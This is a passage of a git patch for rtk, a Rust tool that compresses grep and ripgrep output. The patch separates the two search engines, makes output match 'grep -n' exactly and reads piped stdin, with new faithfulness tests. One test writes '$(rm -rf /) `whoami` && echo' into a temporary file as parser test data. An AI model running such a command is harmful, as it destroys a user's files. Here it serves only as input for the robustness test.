2 as context value let (patterns, paths, flags) = extract_pattern_path(&["-rA", "2", "foo", "src"]); assert_eq!(patterns, vec!["foo"]); assert_eq!(paths, vec!["src"]); - assert_eq!(flags, vec!["-A", "2"]); + assert_eq!(flags, vec!["-r", "-A", "2"]); } #[test] @@ -1226,7 +1126,7 @@ mod tests { fn test_grep_overflow_uses_uncapped_total() { // Confirm the grep overflow invariant: matches vec is never capped before overflow calc. // If total_matches > per_file, overflow = total_matches - per_file (not capped). - // This documents that grep_cmd.rs avoids the diff_cmd bug (cap at N then compute N-10). + // This documents that the search filter avoids the diff_cmd bug (cap at N then compute N-10). let per_file = config::limits().grep_max_per_file; let total_matches = per_file + 42; let overflow = total_matches - per_file; @@ -1279,43 +1179,42 @@ mod tests { } #[test] - fn test_strip_rg_only_drops_glob_and_value() { - assert_eq!(strip_rg_only(&["--glob", "*.rs", "-i"]), vec!["-i"]); - assert_eq!(strip_rg_only(&["-g", "*.rs", "-i"]), vec!["-i"]); - } - - #[test] - fn test_strip_rg_only_drops_inline_glob() { - assert_eq!(strip_rg_only(&["--glob=*.rs", "-i"]), vec!["-i"]); - } - - #[test] - fn test_strip_rg_only_drops_bool_flags() { - assert_eq!( - strip_rg_only(&["--hidden", "--pcre2", "--json", "-n"]), - vec!["-n"] - ); + fn test_format_flag_detects_clusters() { + // clustered minimal forms must route to passthrough, not GROUP + assert!(has_format_flag(&["-rl"])); + assert!(has_format_flag(&["-rc"])); + assert!(has_format_flag(&["-rq"])); + assert!(has_format_flag(&["-rln"])); + assert!(has_format_flag(&["-cr"])); } #[test] - fn test_strip_rg_only_drops_type_and_value() { - assert_eq!(strip_rg_only(&["--type", "rust", "-w"]), vec!["-w"]); - assert_eq!(strip_rg_only(&["-T", "rust", "-w"]), vec!["-w"]); + fn test_format_flag_detects_quiet_and_shape() { + assert!(has_format_flag(&["-q"])); + assert!(has_format_flag(&["--quiet"])); + assert!(has_format_flag(&["--silent"])); + assert!(has_format_flag(&["-b"])); + assert!(has_format_flag(&["--byte-offset"])); + assert!(has_format_flag(&["--column"])); + assert!(has_format_flag(&["--vimgrep"])); + assert!(has_format_flag(&["-z"])); + assert!(has_format_flag(&["--null-data"])); } #[test] - fn test_strip_rg_only_keeps_grep_compatible() { - assert_eq!( - strip_rg_only(&["-i", "-w", "-A", "3", "-v"]), - vec!["-i", "-w", "-A", "3", "-v"] - ); + fn test_format_flag_compresses_default_and_context() { + // compressible forms must NOT passthrough + assert!(!has_format_flag(&["-rn"])); + assert!(!has_format_flag(&["-A", "3"])); + assert!(!has_format_flag(&["-v"])); + assert!(!has_format_flag(&["-rin"])); } - // Verify line numbers are always enabled in rg invocation (grep_cmd.rs:24). + // Verify line numbers are always enabled in the engine invocation (parse_flags). // The -n/--line-numbers clap flag in main.rs is a no-op accepted for compat. #[test] fn test_rg_always_has_line_numbers() { - // grep_cmd::run() always passes "-n" to rg (line 24). + // engine_capture always passes "-n" to the engine via parse_flags(). // This test documents that -n is built-in, so the clap flag is safe to ignore. let mut cmd = resolved_command("rg"); cmd.args(["-n", "--no-heading", "NONEXISTENT_PATTERN_12345", "."]); @@ -1329,7 +1228,7 @@ mod tests { // If rg is not installed, skip gracefully (test still passes) } - // --- issue #1436: parse_match_line robustness --- + // --- issues #1436 / #1613: parse_match_line robustness (single-file colon misparse) --- // Input shape is `file\0line[:-]content` (rg --null / grep -Z). #[test] @@ -1427,26 +1326,6 @@ mod tests { assert_eq!(content, "after1"); } - #[test] - fn test_rg_no_ignore_vcs_flag_accepted() { - // Verify rg accepts --no-ignore-vcs (used to match grep -r behavior for .gitignore) - let mut cmd = resolved_command("rg"); - cmd.args([ - "-n", - "--no-heading", - "--no-ignore-vcs", - "NONEXISTENT_PATTERN_12345", - ".", - ]); - if let Ok(output) = cmd.output() { - assert!( - output.status.code() == Some(1) || output.status.success(), - "rg --no-ignore-vcs should be accepted" - ); - } - // If rg is not installed, skip gracefully (test still passes) - } - // --- unparsed_signal --- #[test] diff --git a/src/discover/registry.rs b/src/discover/registry.rs index fc18b6be07..b459cb02b0 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -1425,7 +1425,7 @@ mod tests { fn test_rewrite_rg_pattern() { assert_eq!( rewrite_command_no_prefixes("rg \"fn main\"", &[]), - Some("rtk grep \"fn main\"".into()) + Some("rtk rg \"fn main\"".into()) ); } diff --git a/src/discover/rules.rs b/src/discover/rules.rs index e9bf1b1f31..cb66e422f5 100644 --- a/src/discover/rules.rs +++ b/src/discover/rules.rs @@ -89,9 +89,18 @@ pub const RULES: &[RtkRule] = &[ subcmd_status: &[], }, RtkRule { - pattern: r"^(rg|grep)\s+", + pattern: r"^grep\s+", rtk_cmd: "rtk grep", - rewrite_prefixes: &["rg", "grep"], + rewrite_prefixes: &["grep"], + category: "Files", + savings_pct: 75.0, + subcmd_savings: &[], + subcmd_status: &[], + }, + RtkRule { + pattern: r"^rg\s+", + rtk_cmd: "rtk rg", + rewrite_prefixes: &["rg"], category: "Files", savings_pct: 75.0, subcmd_savings: &[], diff --git a/src/main.rs b/src/main.rs index d919afe8e3..d13bb448cf 100644 --- a/src/main.rs +++ b/src/main.rs @@ -20,8 +20,8 @@ use cmds::python::{mypy_cmd, pip_cmd, pytest_cmd, ruff_cmd}; use cmds::ruby::{rake_cmd, rspec_cmd, rubocop_cmd}; use cmds::rust::{cargo_cmd, runner}; use cmds::system::{ - deps, env_cmd, find_cmd, format_cmd, grep_cmd, json_cmd, local_llm, log_cmd, ls, pipe_cmd, - read, summary, tree, wc_cmd, + deps, env_cmd, find_cmd, format_cmd, json_cmd, local_llm, log_cmd, ls, pipe_cmd, read, search, + summary, tree, wc_cmd, }; use anyhow::{Context, Result}; @@ -322,6 +322,13 @@ enum Commands { extra_args: Vec, }, + /// Compact ripgrep - runs rg natively, same output filter as grep + Rg { + /// Pattern, path, and any rg flags (e.g. -v, -i, -t rust, --glob) + #[arg(trailing_var_arg = true, allow_hyphen_values = true)] + extra_args: Vec, + }, + /// Initialize rtk instructions for assistant CLI usage Init { /// Add to global assistant config directory instead of local project file @@ -1857,16 +1864,19 @@ fn run_cli() -> Result { max_len, max, context_only, - file_type, + file_type: _, extra_args, - } => grep_cmd::run( + } => search::run( + search::Engine::Grep, max_len, max, context_only, - file_type.as_deref(), &extra_args, cli.verbose, )?, + Commands::Rg { extra_args } => { + search::run(search::Engine::Rg, 80, 200, false, &extra_args, cli.verbose)? + } Commands::Init { global, @@ -2569,6 +2579,7 @@ fn is_operational_command(cmd: &Commands) -> bool { | Commands::Oc { .. } | Commands::Summary { .. } | Commands::Grep { .. } + | Commands::Rg { .. } | Commands::Wget { .. } | Commands::Vitest { .. } | Commands::Prisma { .. } @@ -2921,6 +2932,7 @@ mod tests { "ls", "tree", "read", + "rg", "git", "gh", "glab", diff --git a/tests/grep_compress_test.rs b/tests/grep_compress_test.rs index bd36df3e7d..eb563bbea8 100644 --- a/tests/grep_compress_test.rs +++ b/tests/grep_compress_test.rs @@ -120,7 +120,7 @@ fn no_line_number_flag_produces_output_not_zero_matches() { } let (_dir, path) = write_temp("hello world\n"); let out = rtk() - .args(["grep", "-N", "hello", path.to_str().unwrap()]) + .args(["rg", "-N", "hello", path.to_str().unwrap()]) .output() .expect("rtk grep"); let stdout = String::from_utf8_lossy(&out.stdout); @@ -164,7 +164,7 @@ fn heading_flag_produces_output_not_zero_matches() { } let (_dir, path) = write_temp("hello world\n"); let out = rtk() - .args(["grep", "--heading", "hello", path.to_str().unwrap()]) + .args(["rg", "--heading", "hello", path.to_str().unwrap()]) .output() .expect("rtk grep"); let stdout = String::from_utf8_lossy(&out.stdout); @@ -186,7 +186,7 @@ fn pretty_flag_produces_output_not_zero_matches() { } let (_dir, path) = write_temp("hello world\n"); let out = rtk() - .args(["grep", "-p", "hello", path.to_str().unwrap()]) + .args(["rg", "-p", "hello", path.to_str().unwrap()]) .output() .expect("rtk grep"); let stdout = String::from_utf8_lossy(&out.stdout); @@ -210,7 +210,7 @@ fn column_flag_output_has_no_nul() { } let (_dir, path) = write_temp("hello world\n"); let out = rtk() - .args(["grep", "--column", "hello", path.to_str().unwrap()]) + .args(["rg", "--column", "hello", path.to_str().unwrap()]) .output() .expect("rtk grep"); let stdout = String::from_utf8_lossy(&out.stdout); @@ -231,6 +231,7 @@ fn count_tokens(s: &str) -> usize { s.split_whitespace().count() } +// Covers #545: grep savings are measured against the real grep output. #[test] fn bulky_grep_yields_token_savings() { if !rg_available() { diff --git a/tests/guard_integration_test.rs b/tests/guard_integration_test.rs index 494ac05383..b776918003 100644 --- a/tests/guard_integration_test.rs +++ b/tests/guard_integration_test.rs @@ -103,7 +103,9 @@ fn grep_no_match_emits_empty_not_a_message() { } let dir = tempfile::tempdir().expect("tempdir"); std::fs::write(dir.path().join("a.txt"), "hello world\n").expect("write"); - let (out, code) = rtk_in_dir(dir.path(), &["grep", "zzz_no_match_xyz", "."]); + // Faithful grep needs -r to descend a directory; we no longer force recursion + // by routing through rg (the engine-faithful contract). + let (out, code) = rtk_in_dir(dir.path(), &["grep", "-r", "zzz_no_match_xyz", "."]); assert!( out.trim().is_empty(), "no-match grep must emit empty, not a '0 matches' line: {out:?}" diff --git a/tests/search_faithful_test.rs b/tests/search_faithful_test.rs new file mode 100644 index 0000000000..537311979c --- /dev/null +++ b/tests/search_faithful_test.rs @@ -0,0 +1,202 @@ +#![cfg(unix)] +//! Engine-faithfulness contract: `rtk grep` runs grep and `rtk rg` runs rg, each +//! with its own regex dialect and ignore semantics. rtk filters output noise only; +//! it never substitutes one engine for the other (the bug this PR removes). + +use std::process::Command; + +fn rtk() -> Command { + Command::new(env!("CARGO_BIN_EXE_rtk")) +} + +fn rg_available() -> bool { + Command::new("rg") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) +} + +fn write_temp(content: &str) -> (tempfile::TempDir, std::path::PathBuf) { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("test.txt"); + std::fs::write(&path, content).expect("write"); + (dir, path) +} + +fn count_tokens(s: &str) -> usize { + s.split_whitespace().count() +} + +// --- regex dialect: the single most important regression guard --- + +// Covers #2253 (matches silently rewritten when grep was routed through rg), +// #2301 (rg routed to BSD grep, wrong dialect) and #545 (savings can't be faked +// against a foreign engine's output). +#[test] +fn grep_and_rg_use_their_own_regex_dialect() { + if !rg_available() { + return; + } + // "alpha" holds "al" and "gamma" holds "ga", but neither line ever contains + // the literal string "al|ga". + let (_dir, path) = write_temp("alpha\ngamma\n"); + let p = path.to_str().unwrap(); + + // grep BRE: a bare `|` is a literal pipe, so "al|ga" matches nothing -> exit 1. + let g = rtk().args(["grep", "al|ga", p]).output().expect("rtk grep"); + assert_eq!( + g.status.code(), + Some(1), + "grep must treat | as a literal pipe (0 matches), proving no rg substitution:\n{}", + String::from_utf8_lossy(&g.stdout) + ); + + // rg: `|` is alternation, so "al|ga" matches both lines -> exit 0. + let r = rtk().args(["rg", "al|ga", p]).output().expect("rtk rg"); + assert_eq!( + r.status.code(), + Some(0), + "rg must treat | as alternation (matches), proving it runs rg, not grep" + ); + let r_out = String::from_utf8_lossy(&r.stdout); + assert!( + r_out.contains("alpha") && r_out.contains("gamma"), + "rg alternation must match both lines:\n{r_out}" + ); +} + +// --- ignore semantics: rg stays lean, grep -r descends (the node_modules flood fix) --- + +// Covers #2606 (rg must keep .gitignore/binary skipping) and #2064 (forced +// --no-ignore-vcs made rg read node_modules and dump minified files). +#[test] +fn rg_honors_ignore_files_grep_does_not() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().expect("tempdir"); + // `.ignore` is rg-native and applies without a surrounding git repo. + std::fs::write(dir.path().join(".ignore"), "skip.txt\n").expect("write"); + std::fs::write(dir.path().join("skip.txt"), "NEEDLE here\n").expect("write"); + std::fs::write(dir.path().join("keep.txt"), "NEEDLE here\n").expect("write"); + let path = dir.path().to_str().unwrap(); + + // rg respects the ignore file: skip.txt must not appear (no forced --no-ignore-vcs). + let r = rtk().args(["rg", "NEEDLE", path]).output().expect("rtk rg"); + let r_out = String::from_utf8_lossy(&r.stdout); + assert!( + r_out.contains("keep.txt"), + "rg must match the non-ignored file:\n{r_out}" + ); + assert!( + !r_out.contains("skip.txt"), + "rg must honor .ignore and skip skip.txt (no forced --no-ignore-vcs flood):\n{r_out}" + ); + + // grep knows nothing of ignore files: -r descends and matches both. + let g = rtk() + .args(["grep", "-rn", "NEEDLE", path]) + .output() + .expect("rtk grep"); + let g_out = String::from_utf8_lossy(&g.stdout); + assert!( + g_out.contains("keep.txt") && g_out.contains("skip.txt"), + "grep -r must descend into every file, ignoring .ignore:\n{g_out}" + ); +} + +// --- token savings: rg path compresses as much as the grep path --- + +// Covers #545: rg savings are measured against the real rg output, not a +// substituted engine's inflated result. +#[test] +fn bulky_rg_yields_token_savings() { + if !rg_available() { + return; + } + let filler: String = (0..50).map(|i| format!("word{i} ")).collect(); + let mut content = String::new(); + for i in 0..20 { + content.push_str(&format!("MATCH line {i} {filler}\n")); + } + let (_dir, path) = write_temp(&content); + + let raw = Command::new("rg") + .args(["-nH", "MATCH", path.to_str().unwrap()]) + .output() + .expect("rg"); + let raw_tokens = count_tokens(&String::from_utf8_lossy(&raw.stdout)); + + let out = rtk() + .args(["rg", "MATCH", path.to_str().unwrap()]) + .output() + .expect("rtk rg"); + let rtk_tokens = count_tokens(&String::from_utf8_lossy(&out.stdout)); + + let savings = 100.0 - (rtk_tokens as f64 / raw_tokens as f64 * 100.0); + assert!( + savings >= 50.0, + "expected >=50% rg token savings, got {savings:.1}% (raw={raw_tokens}, rtk={rtk_tokens})" + ); +} + +// --- engine-specific flags reach their own engine --- + +// `-E` selects grep's extended regex; the flag must reach grep, never be swallowed +// as ripgrep's `--encoding` (#2253) or routed to the wrong engine (#2167). +#[test] +fn grep_dash_e_selects_extended_regex() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("alpha\ngamma\n"); + let p = path.to_str().unwrap(); + + // Plain BRE: bare `|` is literal -> no match, exit 1. + let bre = rtk().args(["grep", "al|ga", p]).output().expect("rtk grep"); + assert_eq!(bre.status.code(), Some(1), "BRE | must stay literal"); + + // -E (ERE): `|` is alternation -> both lines match, exit 0. + let ere = rtk() + .args(["grep", "-E", "al|ga", p]) + .output() + .expect("rtk grep -E"); + assert_eq!( + ere.status.code(), + Some(0), + "grep -E must enable ERE alternation, proving -E reaches grep and is not read as rg --encoding" + ); + let out = String::from_utf8_lossy(&ere.stdout); + assert!( + out.contains("alpha") && out.contains("gamma"), + "grep -E alternation must match both lines:\n{out}" + ); +} + +// rg's `-g/--glob` filters the file set; it must reach rg with correct ordering, +// not be mangled by a grep that has no such flag (#1824, #2167). +#[test] +fn rg_glob_flag_filters_the_file_set() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("a.rs"), "NEEDLE in rust\n").expect("write"); + std::fs::write(dir.path().join("b.txt"), "NEEDLE in text\n").expect("write"); + let path = dir.path().to_str().unwrap(); + + let out = rtk() + .args(["rg", "-g", "*.rs", "NEEDLE", path]) + .output() + .expect("rtk rg -g"); + let stdout = String::from_utf8_lossy(&out.stdout); + assert!( + stdout.contains("a.rs"), + "rg -g '*.rs' must match the rust file:\n{stdout}" + ); + assert!( + !stdout.contains("b.txt"), + "rg -g '*.rs' must exclude files outside the glob:\n{stdout}" + ); +} From 37ee6cf6fa7ecb1b511aafd0b111b68ba1d5c945 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 26 Jun 2026 17:25:01 +0200 Subject: [PATCH 252/257] fix(grep): match real grep output and read piped stdin - line number always (the openable position); filename only when grep/rg prints one (multi-file, dir, -r, -H) - single file and stdin equal `grep -n` byte-for-byte: no synthetic filename, header, or lossy truncation - read piped stdin instead of injecting `.`; rg no longer searches the cwd on a pipe - pattern-less and format-flag commands run verbatim (rg --type-list, --files, grep -c/-o) - grouped/capped form only when capping actually shrinks the output - byte-for-byte tests vs grep -n across flags, pipes and edge cases (incl #1436) --- src/cmds/system/search.rs | 143 +++++++++++++++++----------- src/core/stream.rs | 11 +++ tests/grep_compress_test.rs | 30 +++--- tests/grep_faithful_format_test.rs | 147 +++++++++++++++++++++++++++++ tests/search_faithful_test.rs | 131 ++++++++++++++++++++++++- 5 files changed, 388 insertions(+), 74 deletions(-) create mode 100644 tests/grep_faithful_format_test.rs diff --git a/src/cmds/system/search.rs b/src/cmds/system/search.rs index 8b087d44ff..eab1162b91 100644 --- a/src/cmds/system/search.rs +++ b/src/cmds/system/search.rs @@ -6,7 +6,7 @@ //! used (see `Engine`); the compression is identical because both emit the same //! `file:line:content` shape. -use crate::core::stream::{exec_capture, CaptureResult}; +use crate::core::stream::{exec_capture, exec_capture_stdin, CaptureResult}; use crate::core::tracking; use crate::core::utils::{resolved_command, strip_ansi}; use crate::core::{args_utils, config}; @@ -308,38 +308,22 @@ fn engine_capture>( } cmd.arg("--"); cmd.args(paths); - exec_capture(&mut cmd).context("search failed") + exec_capture_stdin(&mut cmd).context("search failed") } -/// Runs the engine with no injected flags at all (already-minimal output forms). -fn engine_raw>( - engine: Engine, - extra_args: &[T], - patterns: &[String], - paths: &[String], -) -> Result { - let mut cmd = resolved_command(engine.bin()); - for a in extra_args { - cmd.arg(a.as_ref()); - } - for p in patterns { - cmd.args(["-e", p]); - } - cmd.arg("--"); - cmd.args(paths); - exec_capture(&mut cmd).context("search failed") -} - -#[allow(clippy::too_many_arguments)] +/// Runs the agent's command verbatim for forms RTK does not group: format/shape +/// flags and pattern-less modes (`--files`, `--type-list`). fn passthrough>( timer: &tracking::TimedExecution, engine: Engine, - extra_args: &[T], - patterns: &[String], - paths: &[String], + args: &[T], real_cmd: &str, ) -> Result { - let result = engine_raw(engine, extra_args, patterns, paths)?; + let mut cmd = resolved_command(engine.bin()); + for a in args { + cmd.arg(a.as_ref()); + } + let result = exec_capture_stdin(&mut cmd).context("search failed")?; print!("{}", strip_ansi(&result.stdout)); if !result.stderr.is_empty() { @@ -350,6 +334,12 @@ fn passthrough>( Ok(result.exit_code) } +fn has_short_flag(flags: &[String], ch: char) -> bool { + flags + .iter() + .any(|f| f.starts_with('-') && !f.starts_with("--") && f[1..].contains(ch)) +} + pub fn run( engine: Engine, max_line_len: usize, @@ -385,8 +375,7 @@ pub fn run( let (patterns, paths, extra_args) = extract_pattern_path(&args); if patterns.is_empty() { - eprintln!("rtk grep: pattern required (positional or -e)"); - return Ok(1); + return passthrough(&timer, engine, &args, &real_cmd); } let pattern_display = if patterns.len() == 1 { @@ -395,11 +384,6 @@ pub fn run( patterns.join("|") }; - let paths = if paths.is_empty() { - vec![".".to_string()] - } else { - paths - }; let path_display = paths.join(" "); if verbose > 0 { @@ -408,7 +392,7 @@ pub fn run( // format/shape flags (-c/-l/-o/...): already-minimal native output, passthrough. if has_format_flag(&extra_args) { - return passthrough(&timer, engine, &extra_args, &patterns, &paths, &real_cmd); + return passthrough(&timer, engine, &args, &real_cmd); } let result = engine_capture(engine, &extra_args, &patterns, &paths)?; @@ -435,7 +419,7 @@ pub fn run( // Safety net: unparseable shape → passthrough verbatim, never silently drop (#2333). let signal = unparsed_signal(&raw_output); if signal > 0 { - return passthrough(&timer, engine, &extra_args, &patterns, &paths, &real_cmd); + return passthrough(&timer, engine, &args, &real_cmd); } let context_re = if context_only { @@ -466,18 +450,49 @@ pub fn run( .filter(|(_, is_match, _)| *is_match) .count(); - let mut rtk_output = String::new(); - rtk_output.push_str(&format!( - "{} matches in {} files:\n\n", - total_matches, - by_file.len() - )); + // Mirror what the real command prints: the filename only when grep/rg would + // show one (multiple files, a directory, -r or -H), the line number only with + // -n. We force -nH--null for robust parsing, then drop what the engine itself + // would not have shown. + let show_file = by_file.len() > 1 + || paths.len() > 1 + || paths.iter().any(|p| std::path::Path::new(p).is_dir()) + || has_short_flag(&extra_args, 'H') + || has_short_flag(&extra_args, 'r') + || has_short_flag(&extra_args, 'R') + || extra_args + .iter() + .any(|f| f == "--with-filename" || f == "--recursive"); + // Always surface the line number (the openable position) unless the agent + // explicitly turned it off; the filename is the only conditional part. + let show_line = !has_short_flag(&extra_args, 'N') + && !extra_args.iter().any(|f| f == "--no-line-number"); + + // Faithful baseline: exactly what the real command prints, full content. + let mut plain = String::new(); + for line in raw_output.lines() { + let Some((file, line_num, is_match, content)) = parse_match_line(line) else { + continue; + }; + let sep = if is_match { ':' } else { '-' }; + if show_file { + plain.push_str(&file); + plain.push(sep); + } + if show_line { + plain.push_str(&line_num.to_string()); + plain.push(sep); + } + plain.push_str(content); + plain.push('\n'); + } - let mut shown = 0; + let per_file = config::limits().grep_max_per_file; let mut files: Vec<_> = by_file.iter().collect(); files.sort_by_key(|(f, _)| *f); - let per_file = config::limits().grep_max_per_file; + let mut body = String::new(); + let mut shown = 0; let mut skipped_files = 0; let mut skipped_block = String::new(); for (idx, (file, entries)) in files.into_iter().enumerate() { @@ -494,10 +509,16 @@ pub fn run( break; } let sep = if *is_match { ':' } else { '-' }; - rtk_output.push_str(&format!( - "{}{}{}{}{}\n", - file_display, sep, line_num, sep, content - )); + if show_file { + body.push_str(&file_display); + body.push(sep); + } + if show_line { + body.push_str(&line_num.to_string()); + body.push(sep); + } + body.push_str(content); + body.push('\n'); shown += 1; file_shown += 1; } @@ -512,22 +533,34 @@ pub fn run( match crate::core::tee::force_tee_tail_hint(&full_block, &grep_slug(idx, file), file_shown + 1) { Some(hint) => { - rtk_output.push_str(&format!(" +{} more in {} — {}\n", remaining, file_display, hint)) + body.push_str(&format!(" +{} more in {} {}\n", remaining, file_display, hint)) } - None => rtk_output.push_str(&format!(" +{} more in {}\n", remaining, file_display)), + None => body.push_str(&format!(" +{} more in {}\n", remaining, file_display)), } } if skipped_files > 0 { let hint = crate::core::tee::force_tee_tail_hint(&skipped_block, "grep_skipped", 1) - .map(|h| format!(" — {}", h)) + .map(|h| format!(" {}", h)) .unwrap_or_default(); - rtk_output.push_str(&format!("+{} more files{}\n", skipped_files, hint)); - } + body.push_str(&format!("+{} more files{}\n", skipped_files, hint)); + } + + // Switch to the grouped form only when capping actually shrank the output; + // otherwise emit the faithful baseline, so RTK never exceeds the real command. + let capped = shown < total_matches || skipped_files > 0; + let rtk_output = if capped { + format!( + "{} matches in {} files:\n\n{}", + total_matches, + by_file.len(), + body + ) + } else { + body + }; - // Never-worse: show plain `file:line:content` (NUL `-0` -> `:`) if grouping didn't shrink it. - let plain = raw_output.replace('\0', ":"); - let output = if rtk_output.len() < plain.len() { + let output = if capped && rtk_output.len() < plain.len() { rtk_output } else { plain diff --git a/src/core/stream.rs b/src/core/stream.rs index 02a6cfc798..cd573c4cc9 100644 --- a/src/core/stream.rs +++ b/src/core/stream.rs @@ -541,6 +541,17 @@ pub fn exec_capture(cmd: &mut Command) -> Result { }) } +/// Like [`exec_capture`] but inherits stdin so a wrapped engine can read a piped stdin. +pub fn exec_capture_stdin(cmd: &mut Command) -> Result { + cmd.stdin(Stdio::inherit()); + let output = cmd.output().context("Failed to execute command")?; + Ok(CaptureResult { + stdout: String::from_utf8_lossy(&output.stdout).into_owned(), + stderr: String::from_utf8_lossy(&output.stderr).into_owned(), + exit_code: status_to_exit_code(output.status), + }) +} + #[cfg(test)] pub(crate) mod tests { use super::*; diff --git a/tests/grep_compress_test.rs b/tests/grep_compress_test.rs index eb563bbea8..640e3cc63b 100644 --- a/tests/grep_compress_test.rs +++ b/tests/grep_compress_test.rs @@ -26,7 +26,7 @@ fn write_temp(content: &str) -> (tempfile::TempDir, std::path::PathBuf) { // --- context compression (the gain win) --- #[test] -fn after_context_yields_grouped_header_with_correct_match_count() { +fn single_file_context_shown_without_header() { if !rg_available() { return; } @@ -41,16 +41,12 @@ fn after_context_yields_grouped_header_with_correct_match_count() { let stdout = String::from_utf8_lossy(&out.stdout); assert!( - stdout.contains("1 matches"), - "header must count only the match line, not context lines:\n{stdout}" - ); - assert!( - stdout.contains("after1"), - "after-context line 1 missing:\n{stdout}" + !stdout.contains("matches in"), + "single-file search must not add a grouped header:\n{stdout}" ); assert!( - stdout.contains("after2"), - "after-context line 2 missing:\n{stdout}" + stdout.contains("after1") && stdout.contains("after2"), + "after-context lines must be shown:\n{stdout}" ); } @@ -61,7 +57,7 @@ fn after_context_uses_dash_separator_for_context_lines() { } let (_dir, path) = write_temp("MATCH\nafter1\n"); let out = rtk() - .args(["grep", "-A1", "MATCH", path.to_str().unwrap()]) + .args(["grep", "-nA1", "MATCH", path.to_str().unwrap()]) .output() .expect("rtk grep"); let stdout = String::from_utf8_lossy(&out.stdout); @@ -74,12 +70,12 @@ fn after_context_uses_dash_separator_for_context_lines() { } #[test] -fn plain_grep_still_shows_grouped_header() { +fn capped_single_file_shows_header() { if !rg_available() { return; } - let long = "x".repeat(120); - let content = format!("foo {long}\nbaz\nfoo {long}\n"); + let filler: String = (0..40).map(|i| format!("w{i} ")).collect(); + let content: String = (0..60).map(|i| format!("foo {i} {filler}\n")).collect(); let (_dir, path) = write_temp(&content); let out = rtk() .args(["grep", "foo", path.to_str().unwrap()]) @@ -89,7 +85,7 @@ fn plain_grep_still_shows_grouped_header() { assert!( stdout.contains("matches in"), - "grouped header must show when grouping compresses:\n{stdout}" + "header must show once capping compresses:\n{stdout}" ); } @@ -239,7 +235,7 @@ fn bulky_grep_yields_token_savings() { } let filler: String = (0..50).map(|i| format!("word{i} ")).collect(); let mut content = String::new(); - for i in 0..20 { + for i in 0..60 { content.push_str(&format!("MATCH line {i} {filler}\n")); } let (_dir, path) = write_temp(&content); @@ -310,8 +306,8 @@ fn small_grep_not_worse_than_plain() { let stdout = String::from_utf8_lossy(&out.stdout); assert!( - stdout.contains(":1:foo"), - "should show the match:\n{stdout}" + stdout.trim() == "1:foo", + "single-file grep must equal `grep -n` (position, no filename):\n{stdout}" ); assert!( !stdout.contains("matches in"), diff --git a/tests/grep_faithful_format_test.rs b/tests/grep_faithful_format_test.rs new file mode 100644 index 0000000000..4a9dd502b7 --- /dev/null +++ b/tests/grep_faithful_format_test.rs @@ -0,0 +1,147 @@ +#![cfg(unix)] +//! For un-capped searches `rtk grep X` must be byte-identical to `grep -n X`: +//! line number always, filename only when grep itself prints one. Covers content +//! and regex edge cases (colons, digits, shell metachars, unicode, colon-in-path) +//! that must never be misparsed. + +use std::io::Write; +use std::process::{Command, Stdio}; + +fn rtk_grep(args: &[&str]) -> (String, Option) { + let mut a = vec!["grep"]; + a.extend_from_slice(args); + let out = Command::new(env!("CARGO_BIN_EXE_rtk")) + .args(&a) + .output() + .expect("rtk"); + ( + String::from_utf8_lossy(&out.stdout).into_owned(), + out.status.code(), + ) +} + +fn grep_n(args: &[&str]) -> (String, Option) { + let mut a = vec!["-n"]; + a.extend_from_slice(args); + let out = Command::new("grep").args(&a).output().expect("grep"); + ( + String::from_utf8_lossy(&out.stdout).into_owned(), + out.status.code(), + ) +} + +fn assert_eq_grep_n(args: &[&str]) { + let (rtk, rc) = rtk_grep(args); + let (grep, gc) = grep_n(args); + assert_eq!(rtk, grep, "stdout mismatch for {args:?}"); + assert_eq!(rc, gc, "exit code mismatch for {args:?}"); +} + +fn write(dir: &std::path::Path, name: &str, body: &str) -> String { + let p = dir.join(name); + std::fs::write(&p, body).expect("write"); + p.to_str().unwrap().to_string() +} + +#[test] +fn single_multi_recursive_and_h_match_grep_n() { + let d = tempfile::tempdir().unwrap(); + let f1 = write(d.path(), "f1.txt", "apple\nzebra apple\nbanana\n"); + let f2 = write(d.path(), "f2.txt", "apricot\n"); + assert_eq_grep_n(&["apple", &f1]); // single: position only + assert_eq_grep_n(&["a", &f1, &f2]); // multi: file + position + assert_eq_grep_n(&["-H", "apple", &f1]); // -H forces filename on a single file + assert_eq_grep_n(&["-r", "a", d.path().to_str().unwrap()]); // recursive +} + +#[test] +fn no_match_matches_grep_n() { + let d = tempfile::tempdir().unwrap(); + let f = write(d.path(), "f.txt", "hello\n"); + assert_eq_grep_n(&["zzz_no_match_xyz", &f]); // empty stdout, exit 1 +} + +#[test] +fn nasty_content_is_not_misparsed() { + let d = tempfile::tempdir().unwrap(); + let f = write( + d.path(), + "n.txt", + "12:34 looks like a line number\na::b::c ClassRegistry::init('x')\nport :8080: here\n$(rm -rf /) `whoami` && echo\n中文 テスト مرحبا\n", + ); + assert_eq_grep_n(&[":", &f]); + assert_eq_grep_n(&["ClassRegistry", &f]); + assert_eq_grep_n(&["中文", &f]); + assert_eq_grep_n(&["whoami", &f]); +} + +#[test] +fn regex_metacharacters_match_grep_n() { + let d = tempfile::tempdir().unwrap(); + let f = write(d.path(), "r.txt", "a.b\naxb\nfoo.bar\n[x]\n"); + assert_eq_grep_n(&["a.b", &f]); // . is any-char + assert_eq_grep_n(&["-F", "a.b", &f]); // fixed-string + assert_eq_grep_n(&["^foo", &f]); // anchor + assert_eq_grep_n(&["-E", "ax?b", &f]); // ERE +} + +#[test] +fn context_flags_match_grep_n() { + let d = tempfile::tempdir().unwrap(); + let f = write(d.path(), "c.txt", "x\nMATCH\ny\nz\n"); + assert_eq_grep_n(&["-A1", "MATCH", &f]); + assert_eq_grep_n(&["-B1", "MATCH", &f]); + assert_eq_grep_n(&["-C1", "MATCH", &f]); +} + +// #1436: a single-file `-n` search with `::` content and a BRE pattern with +// literal `()` must equal grep exactly — no broadened matches, and no synthetic +// `[file]` bucket from splitting on `::`. +#[test] +fn issue_1436_colons_and_literal_parens() { + let d = tempfile::tempdir().unwrap(); + let f = write( + d.path(), + "shell.php", + "use Util\\ClassRegistry;\nclass Foo {\n public function run() {\n $this->m = ClassRegistry::init('Collections.QueueProcess');\n try {\n deleteRow($id);\n $this->delete();\n } catch (\\Exception $e) {\n } finally {}\n }\n private function delete() 